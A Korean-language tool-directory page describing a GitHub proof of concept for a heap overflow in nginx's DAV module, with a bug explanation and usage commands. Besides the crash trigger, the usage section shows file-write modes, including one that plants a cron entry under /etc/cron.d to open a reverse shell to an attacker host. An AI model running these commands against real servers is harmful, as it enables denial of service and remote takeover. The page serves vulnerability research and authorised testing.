Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-27654 — NGINX `ngx_http_dav_module` 힙 버퍼 오버플로우 via `size_t` 언더플로우 (원격 DoS / 잠재적 RCE) | Kitploit
도구/GitHubGitHub/johanneslks/cve-2026-27654
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

NGINX `ngx_http_dav_module` 힙 버퍼 오버플로우 via `size_t` 언더플로우 (원격 DoS / 잠재적 RCE)

저장소 보기
81개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-27654

NGINX ngx_http_dav_module 힙 버퍼 오버플로우 (원격 서비스 거부 / 잠재적 원격 코드 실행)
(size_t 언더플로우로 인한)

설명

src/http/modules/ngx_http_dav_module.c의 ngx_http_dav_copy_move_handler()는 Destination 헤더의 URI 경로 구성 요소에서 위치 접두사 길이를 빼서 대상 URI 길이를 계산합니다. 두 값 모두 size_t (부호 없는 64비트)입니다. 대상 경로가 위치 접두사보다 짧으면, 뺄셈이 ~0으로 감싸져서 거대한 memcpy 길이를 생성하고, 7바이트 힙 할당을 오버플로우하여 작업자 프로세스가 중단됩니다.

alias로 매핑된 DAV 위치에 대한 단일 조작된 MOVE 또는 COPY 요청이 오버플로우를 트리거합니다. nginx 마스터는 작업자를 다시 생성하지만, 반복된 요청은 서버를 지속적인 크래시 루프에 빠뜨립니다.

ASan 확인: negative-size-param: (size=-7) at memcpy in ngx_http_core_module.c:1949, ngx_http_dav_copy_move_handler에서 호출됨.

영향: nginx 0.5.13 ~ 1.28.2 (stable) 및 1.29.0 ~ 1.29.6 (mainline), --with-http_dav_module로 컴파일되고 DAV 위치에서 alias를 사용하는 경우. 1.28.3 / 1.29.7에서 수정됨 (커밋 ab4b5b8, PR #1210).

사용법

root@kitploit:~
# Docker (권장 -- 소스에서 취약한 nginx 빌드):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Native (Docker 없이 nginx 1.28.2를 소스에서 빌드):
./run.sh              # ASan 없는 빌드 (SIGSEGV 충돌 관찰)
./run.sh --asan       # ASan 빌드 (확정적 증거)
./run.sh --both       # 두 가지를 순차적으로 실행

# 기존 취약한 nginx 인스턴스 대상:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # 트리거 파일이 이미 존재하는 경우
python3 poc.py --target <HOST:PORT> --verbose

기본 모드는 표준 충돌 트리거로 유지됩니다. PUT을 보낸 다음 Destination 경로가 DAV 위치 접두사보다 짧은 조작된 MOVE를 보냅니다:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

DAV 대상 처리가 상대 대상 탈출을 허용하는 승인된 실험실 구성의 경우, 동일한 도구를 사용하여 공격자가 선택한 경로에 공격자 제어 콘텐츠를 전달할 수 있습니다. 정확한 --location-prefix, --escape-depth 및 대상 경로는 자체 서비스 구성 및 정찰에서 가져와야 합니다:

root@kitploit:~
# COPY/MOVE 대상 처리를 통해 선택한 경로에 리터럴 콘텐츠 쓰기.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# 로컬 파일에서 바이트 쓰기.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# 리버스 셸을 여는 cron 항목 전달.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <ATTACKER_IP> --lport 4444

# 비대화형 승인된 증명을 위한 일회성 cron 명령 전달.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell, cron-cmd는 쓰기 가능한 DAV 소스와 대상 경로 탈출이 있는 승인된 환경을 위한 일반 전달 도우미입니다. 표준 힙 오버플로우 충돌을 증명하는 데 필요하지 않습니다.

요구 사항

  • 대상: --with-http_dav_module로 컴파일된 nginx, alias( root 아님)를 사용하는 location 블록, dav_methods에 COPY 또는 MOVE 포함
  • 공격자: Python 3. requests가 사용 가능하면 사용되고, 그렇지 않으면 PoC는 일반 HTTP 대상에 대해 Python 표준 라이브러리로 대체됩니다.
  • 네이티브 빌드: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

파일

참고 자료

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

법적 고지

이 프로젝트는 GNU GPLv3 하에 릴리스됩니다.

방어적 보안 연구, 교육 및 승인된 테스트를 위해 제공됩니다. 소유자의 명시적 허가 없이 시스템이나 서비스에 대해 이 코드를 사용하지 마십시오.

무단 사용은 해당 법률을 위반할 수 있습니다. 저자는 타사 시스템 테스트를 허가하지 않으며 오용에 대해 책임을 지지 않습니다.

보증 및 책임 조건은 LICENSE 파일을 참조하십시오.

도구 다운로드
파일설명
poc.pyPython PoC -- 표준 충돌 트리거 및 일반 COPY/MOVE 대상 모드
run.shnginx를 소스에서 빌드 (ASan / non-ASan)하고 PoC 실행
Dockerfile취약한 nginx 1.28.2의 멀티 스테이지 빌드
docker-compose.yml원클릭 Docker 설정
nginx.conf취약한 구성 (alias + dav_methods COPY MOVE)
proof_output.txt라이브 검증의 ASan 출력